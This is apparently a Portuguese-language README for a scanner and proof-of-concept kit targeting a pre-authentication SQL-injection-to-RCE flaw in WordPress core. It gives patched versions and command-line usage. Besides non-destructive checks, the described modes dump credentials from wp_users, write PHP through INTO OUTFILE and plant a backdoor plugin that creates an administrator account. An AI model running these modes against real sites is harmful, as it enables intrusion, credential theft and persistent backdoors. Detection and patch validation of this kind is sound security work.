wp2shell-scan

Um scanner e kit de prova de conceito para a CVE-2026-63030 (wp2shell), uma vulnerabilidade de execução remota de código pré-autenticada no núcleo do WordPress

Funcionalidades

• Dois métodos de detecção não destrutivos: --check-type time-based (temporização SLEEP) e --check-type error-based (diferencial TRUE/FALSE/quebrado). Ambos seguros para varreduras amplas de infraestrutura.
• Suporte a listas de URLs e múltiplos alvos em uma única execução.
• Extração por oráculo booleano baseada em conteúdo funciona sem SLEEP, saída de erro ou privilégios FILE do MySQL.
• Fallback de extração cega baseada em tempo para oráculos booleanos não confiáveis.
• Sondagem de endpoints REST para descobrir quais rotas encaminham a injeção para o WP_Query.
• Validação completa da cadeia de exploit (SQLi → INTO OUTFILE → execução de PHP), protegida por uma flag explícita --i-have-authorization.
• Ambiente de teste local vulnerável (Docker) para reprodução segura e offline.

---

🚨 Anúncio (julho de 2026)

A CVE-2026-63030 ("wp2shell") é uma vulnerabilidade de execução remota de código pré-autenticada no núcleo do WordPress. Um bug de confusão de rota / dessincronização de índice no endpoint de lote da API REST (/batch/v1) permite que um atacante não autenticado contrabandeie um valor não sanitizado de author_exclude para dentro de WP_Query, resultando em injeção de SQL. Quando o usuário do banco de dados possui o privilégio FILE, isso leva à execução remota de código via SELECT ... INTO OUTFILE. Nenhum plugin é necessário. Uma instalação padrão do WordPress é afetada.

A WordPress lançou correções nas versões 6.9.5, 7.0.2 e 7.1-beta2. Atualize imediatamente. Se você precisar de ajuda para verificar ou descobrir essa vulnerabilidade na sua infraestrutura, envie um e-mail para [email protected]. Leia mais sobre isso no blog da fullhunt.io.

Ramo	Vulnerável	Corrigido
6.9	6.9.0–6.9.4	6.9.5
7.0	7.0.0–7.0.1	7.0.2
7.1	7.1-beta1	7.1-beta2
< 6.9	Não afetado (endpoint de lote não presente)	—

---

Descrição

Temos pesquisado o wp2shell (CVE-2026-63030) desde sua divulgação pública e trabalhamos na prevenção dessa vulnerabilidade com nossos clientes. Estamos disponibilizando como código aberto uma ferramenta aberta de detecção e varredura para descobrir e validar a CVE-2026-63030. Ela deve ser usada por equipes de segurança para verificar sua infraestrutura em busca de wp2shell e para confirmar que as regras de WAF e os patches realmente bloqueiam a cadeia de ataque no ambiente da organização.

wp2shell-scan.py é um scanner único e unificado com suporte a oito modos:

Modo	Finalidade	Autorização
check	Detecção não destrutiva. Dois tipos de verificação: --check-type time-based (sonda de temporização SLEEP) ou --check-type error-based (diferencial TRUE/FALSE/quebrado).	Não
probe-endpoints	Descobrir quais endpoints REST encaminham a injeção para o WP_Query.	Não
probe	Diff lado a lado das respostas de N payloads SQL.	Não
extract	Extração por oráculo booleano de metadados e hashes do banco de dados.	Sim
blind	Extração cega baseada em tempo (fallback quando o oráculo booleano não é confiável).	Sim
exploit	Validar a cadeia completa de SQLi → INTO OUTFILE → execução de PHP.	Sim
adduser	Escrever um backdoor mu-plugin que cria uma conta de administrador; usa como fallback a extração de hashes por oráculo booleano.	Sim
get-users	Dump por oráculo booleano de todas as credenciais de wp_users.	Sim

Nota: Os modos marcados como "Sim" na coluna Autorização exigem a flag --i-have-authorization.

Uso

$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
                        [--check-type {time-based,error-based}] [-k]
                        [--timeout TIMEOUT] [--sleep SLEEP]
                        [--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
                        [--out-name OUT_NAME] [--php-code PHP_CODE]
                        [--user-login USER_LOGIN] [--user-pass USER_PASS]
                        [--user-email USER_EMAIL] [--i-have-authorization]
                        [--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
                        [--all] [-v]
                        {check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}

CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.

positional arguments:
  {check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
                        Scan mode.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Check a single URL.
  -l USEDLIST, --list USEDLIST
                        Check a list of URLs.
  -p PROXY, --proxy PROXY
                        Send requests through proxy.
  --check-type {time-based,error-based}
                        Detection method for check mode - [Default: time-based].
  -k, --insecure        Disable TLS certificate verification.
  --timeout TIMEOUT     HTTP timeout (in seconds) - [Default: 15].
  --sleep SLEEP         SLEEP seconds for time-based checks and blind mode - [Default: 5].
  --endpoint ENDPOINT   REST endpoint used for the injection - [Default: /wp/v2/categories].
  --webroot PATH[,PATH...]
                        Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
  --out-name OUT_NAME   Dropped filename - [Default: random].
  --php-code PHP_CODE   PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
  --user-login USER_LOGIN
                        Backdoor username for adduser mode - [Default: wpadmin].
  --user-pass USER_PASS
                        Backdoor password for adduser mode.
  --user-email USER_EMAIL
                        Backdoor email for adduser mode.
  --i-have-authorization
                        Required for exploit, adduser, get-users, extract, and blind modes.
  --sql LABEL:SQL       probe mode: repeatable label:sql payload pair.
  --query QUERY         extract/blind mode: custom SQL scalar query to extract.
  --dump [KEY ...]      extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
  --all                 extract mode: dump all prebuilt queries.
  -v, --verbose

Verificação Baseada em Tempo (sonda de temporização SLEEP não destrutiva)

$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based

Verificação Baseada em Erro (diferencial TRUE / FALSE / quebrado não destrutivo)

$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based

Verificar uma Lista de URLs

$ python3 wp2shell-scan.py check -l urls.txt

Descobrir Quais Endpoints REST São Injetáveis

$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local

Extrair Dados via Oráculo Booleano (sem necessidade de privilégio FILE)

$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version

Validar a Cadeia Completa de RCE (somente alvos autorizados)

$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization

Instalação

$ pip3 install -r requirements.txt

Suporte a Docker

git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local